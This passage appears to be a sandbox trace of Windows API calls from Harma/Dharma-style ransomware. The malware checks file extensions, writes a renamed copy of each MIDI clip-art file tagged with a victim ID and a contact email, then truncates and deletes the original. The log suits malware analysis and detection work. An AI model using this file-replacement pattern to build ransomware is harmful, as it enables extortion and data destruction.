lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.301] lstrlenW (lpString=".zip") returned 4 [0143.302] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.302] lstrlenW (lpString=".rar") returned 4 [0143.302] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.302] lstrlenW (lpString=".bz2") returned 4 [0143.302] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.302] lstrlenW (lpString=".7z") returned 3 [0143.302] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.302] lstrlenW (lpString=".dbf") returned 4 [0143.302] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.302] lstrlenW (lpString=".1cd") returned 4 [0143.302] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.302] lstrlenW (lpString=".jpg") returned 4 [0143.302] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.302] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.302] lstrlenW (lpString="SPACE_01.MID") returned 12 [0143.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.303] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=4219) returned 1 [0143.303] CloseHandle (hObject=0x358) returned 1 [0143.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0143.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.303] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.303] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0143.304] GetLastError () returned 0x0 [0143.304] ReadFile (in: hFile=0x358, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x107b, lpOverlapped=0x0) returned 1 [0143.321] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1080, lpOverlapped=0x0) returned 1 [0143.322] ReadFile (in: hFile=0x358, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.322] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.322] SetEndOfFile (hFile=0x21c) returned 1 [0143.335] CloseHandle (hObject=0x21c) returned 1 [0143.347] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.347] SetEndOfFile (hFile=0x358) returned 1 [0143.360] CloseHandle (hObject=0x358) returned 1 [0143.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0143.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.361] lstrlenW (lpString=".doc") returned 4 [0143.361] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.361] lstrlenW (lpString=".docx") returned 5 [0143.361] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.361] lstrlenW (lpString=".pdf") returned 4 [0143.361] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.361] lstrlenW (lpString=".xls") returned 4 [0143.361] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.361] lstrlenW (lpString=".xlsx") returned 5 [0143.361] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.361] lstrlenW (lpString=".ppt") returned 4 [0143.361] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.361] lstrlenW (lpString=".zip") returned 4 [0143.361] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.361] lstrlenW (lpString=".rar") returned 4 [0143.361] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.361] lstrlenW (lpString=".bz2") returned 4 [0143.361] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.361] lstrlenW (lpString=".7z") returned 3 [0143.361] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.361] lstrlenW (lpString=".dbf") returned 4 [0143.361] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.361] lstrlenW (lpString=".1cd") returned 4 [0143.361] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.362] lstrlenW (lpString=".jpg") returned 4 [0143.362] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.362] lstrlenW (lpString=".doc") returned 4 [0143.362] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.362] lstrlenW (lpString=".docx") returned 5 [0143.362] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.362] lstrlenW (lpString=".pdf") returned 4 [0143.362] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.362] lstrlenW (lpString=".xls") returned 4 [0143.362] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.362] lstrlenW (lpString=".xlsx") returned 5 [0143.362] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.362] lstrlenW (lpString=".ppt") returned 4 [0143.362] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.362] lstrlenW (lpString=".zip") returned 4 [0143.362] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.362] lstrlenW (lpString=".rar") returned 4 [0143.362] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.362] lstrlenW (lpString=".bz2") returned 4 [0143.362] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.362] lstrlenW (lpString=".7z") returned 3 [0143.362] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.362] lstrlenW (lpString=".dbf") returned 4 [0143.362] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.363] lstrlenW (lpString=".1cd") returned 4 [0143.363] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0143.363] lstrlenW (lpString=".jpg") returned 4 [0143.363] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.363] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.363] lstrlenW (lpString="URBAN_01.MID") returned 12 [0143.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.364] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=13358) returned 1 [0143.364] CloseHandle (hObject=0x358) returned 1 [0143.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0143.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.364] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.364] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0143.365] GetLastError () returned 0x0 [0143.365] ReadFile (in: hFile=0x358, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x342e, lpOverlapped=0x0) returned 1 [0143.370] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x3430, lpOverlapped=0x0) returned 1 [0143.371] ReadFile (in: hFile=0x358, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.371] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.371] SetEndOfFile (hFile=0x21c) returned 1 [0143.371] CloseHandle (hObject=0x21c) returned 1 [0143.371] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.371] SetEndOfFile (hFile=0x358) returned 1 [0143.373] CloseHandle (hObject=0x358) returned 1 [0143.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0143.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.388] lstrlenW (lpString=".doc") returned 4 [0143.388] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.388] lstrlenW (lpString=".docx") returned 5 [0143.388] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.388] lstrlenW (lpString=".pdf") returned 4 [0143.388] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.388] lstrlenW (lpString=".xls") returned 4 [0143.388] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.388] lstrlenW (lpString=".xlsx") returned 5 [0143.388] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.388] lstrlenW (lpString=".ppt") returned 4 [0143.388] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.388] lstrlenW (lpString=".zip") returned 4 [0143.388] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.388] lstrlenW (lpString=".rar") returned 4 [0143.389] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.389] lstrlenW (lpString=".bz2") returned 4 [0143.389] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.389] lstrlenW (lpString=".7z") returned 3 [0143.389] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.389] lstrlenW (lpString=".dbf") returned 4 [0143.389] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.389] lstrlenW (lpString=".1cd") returned 4 [0143.389] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.389] lstrlenW (lpString=".jpg") returned 4 [0143.389] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.389] lstrlenW (lpString=".doc") returned 4 [0143.389] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.389] lstrlenW (lpString=".docx") returned 5 [0143.389] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.389] lstrlenW (lpString=".pdf") returned 4 [0143.389] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.389] lstrlenW (lpString=".xls") returned 4 [0143.389] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.389] lstrlenW (lpString=".xlsx") returned 5 [0143.389] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.389] lstrlenW (lpString=".ppt") returned 4 [0143.389] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.389] lstrlenW (lpString=".zip") returned 4 [0143.389] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.389] lstrlenW (lpString=".rar") returned 4 [0143.390] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.390] lstrlenW (lpString=".bz2") returned 4 [0143.390] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.390] lstrlenW (lpString=".7z") returned 3 [0143.390] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.390] lstrlenW (lpString=".dbf") returned 4 [0143.390] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.390] lstrlenW (lpString=".1cd") returned 4 [0143.390] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0143.390] lstrlenW (lpString=".jpg") returned 4 [0143.390] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.390] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.390] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0143.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.411] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=4961) returned 1 [0143.411] CloseHandle (hObject=0x33c) returned 1 [0143.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0143.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.412] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.412] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.412] GetLastError () returned 0x0 [0143.412] ReadFile (in: hFile=0x33c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x1361, lpOverlapped=0x0) returned 1 [0143.420] WriteFile (in: hFile=0x358, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0143.421] ReadFile (in: hFile=0x33c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.421] WriteFile (in: hFile=0x358, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.421] SetEndOfFile (hFile=0x358) returned 1 [0143.421] CloseHandle (hObject=0x358) returned 1 [0143.422] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.422] SetEndOfFile (hFile=0x33c) returned 1 [0143.424] CloseHandle (hObject=0x33c) returned 1 [0143.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0143.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.425] lstrlenW (lpString=".doc") returned 4 [0143.425] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.425] lstrlenW (lpString=".docx") returned 5 [0143.425] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.425] lstrlenW (lpString=".pdf") returned 4 [0143.425] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.425] lstrlenW (lpString=".xls") returned 4 [0143.425] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.425] lstrlenW (lpString=".xlsx") returned 5 [0143.425] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.425] lstrlenW (lpString=".ppt") returned 4 [0143.425] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.425] lstrlenW (lpString=".zip") returned 4 [0143.425] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.426] lstrlenW (lpString=".rar") returned 4 [0143.426] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.426] lstrlenW (lpString=".bz2") returned 4 [0143.426] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.426] lstrlenW (lpString=".7z") returned 3 [0143.426] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.426] lstrlenW (lpString=".dbf") returned 4 [0143.426] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.426] lstrlenW (lpString=".1cd") returned 4 [0143.426] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.426] lstrlenW (lpString=".jpg") returned 4 [0143.426] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.426] lstrlenW (lpString=".doc") returned 4 [0143.426] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.426] lstrlenW (lpString=".docx") returned 5 [0143.426] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.426] lstrlenW (lpString=".pdf") returned 4 [0143.426] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.426] lstrlenW (lpString=".xls") returned 4 [0143.426] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.426] lstrlenW (lpString=".xlsx") returned 5 [0143.426] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.426] lstrlenW (lpString=".ppt") returned 4 [0143.426] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.426] lstrlenW (lpString=".zip") returned 4 [0143.427] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.427] lstrlenW (lpString=".rar") returned 4 [0143.427] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.427] lstrlenW (lpString=".bz2") returned 4 [0143.427] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.427] lstrlenW (lpString=".7z") returned 3 [0143.427] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.427] lstrlenW (lpString=".dbf") returned 4 [0143.427] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 